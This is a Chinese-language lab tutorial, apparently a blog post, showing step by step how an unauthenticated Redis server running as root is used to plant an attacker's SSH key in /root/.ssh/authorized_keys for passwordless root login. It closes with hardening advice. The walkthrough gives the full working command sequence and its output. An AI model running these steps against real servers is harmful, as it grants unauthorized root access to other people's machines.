利用Redis遠程入侵Linux
前提條件:
1.redis以root用戶運行
2.redis允許遠程登陸
3.redis沒有設置密碼或者密碼簡單
入侵原理:
1.本質是利用了redis的熱更新配置,可以動態的設置數據持久化的路徑和持久化文件名稱
2.首先攻擊者可以遠程登陸redis,然后將攻擊者的ssh公鑰當作一個key存入redis里
3.利用動態修改配置,將持久化目錄保存成/root/.ssh
4.利用動態修改配置,將持久化文件名更改為authorized_keys
5.執行數據保存命令,這樣就會在生成/root/,ssh/authorized_keys文件
6.而這個文件里包含了攻擊者的密鑰,所以此時攻擊者可以免密登陸遠程的服務器了
實驗步驟:
1.生成密鑰
[root@db02 ~/.ssh]# ssh-keygen
2.將密鑰保存成文件
[root@db02 ~]# (echo -e "\n";cat /root/.ssh/id_rsa.pub ;echo -e "\n") > ssh_key
[root@db02 ~]# cat ssh_key
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH5vHJTq1UPP1YqzNUIfpXgWp5MV/hTzXStnT/JlusMG8/8DI2WYpbM20Pag5VlYKO8vA7Mn0ZbMmbpHUMOHLKmXK0y4k0bkYoSPTwbxP4a4paPLF50d+LRazqNq+P2RTnn7P9pG0kdSmpwDgcD32JjMJ7zxLFVbtsuOPfUHpnkvoI8967JC9kw/FH4CifZ+yyAneMxyqFstfKRPqUK0lwA/D5UuD4B4gv4WO6hu1bctHtI8qbIfSmHCgBrCG4qW+Xw1OWDimCLUwKUFW99RfVhzfmm9pTes+2twuf7wFK06LZVzcmfaXt43SFNLcVMMTn4RX0tzZyqVGYFtn94sOn root@db02
3.將密鑰寫入redis
[root@db02 ~]# cat ssh_key |redis-cli -h 10.0.0.51 -x set ssh_key
OK
4.登陸redis動態修改配置並保存
[root@db02 ~]# redis-cli -h 10.0.0.51
10.0.0.51:6379> CONFIG set dir /root/.ssh
OK
10.0.0.51:6379> CONFIG set dbfilename authorized_keys
OK
10.0.0.51:6379> BGSAVE
Background saving started
5.被攻擊的機器查看是否生成文件
[root@db01 ~]# cat .ssh/authorized_keys
6.入侵者查看是否可以登陸
[root@db02 ~]# ssh 10.0.0.51
Last login: Wed Jun 24 23:00:14 2020 from 10.0.0.52
[root@db01 ~]#
此時可以發現,已經可以免密登陸了。
7.如何防范
1.以普通用戶啟動redis,這樣就沒有辦法在/root/目錄下創建數據
2.設置復雜的密碼
3.不要監聽所有端口,只監聽內網地址
4.禁用動態修改配置的命令和危險命令
5.做好監控和數據備份
工作上大家可以檢查下自己的redis是否沒有做好防護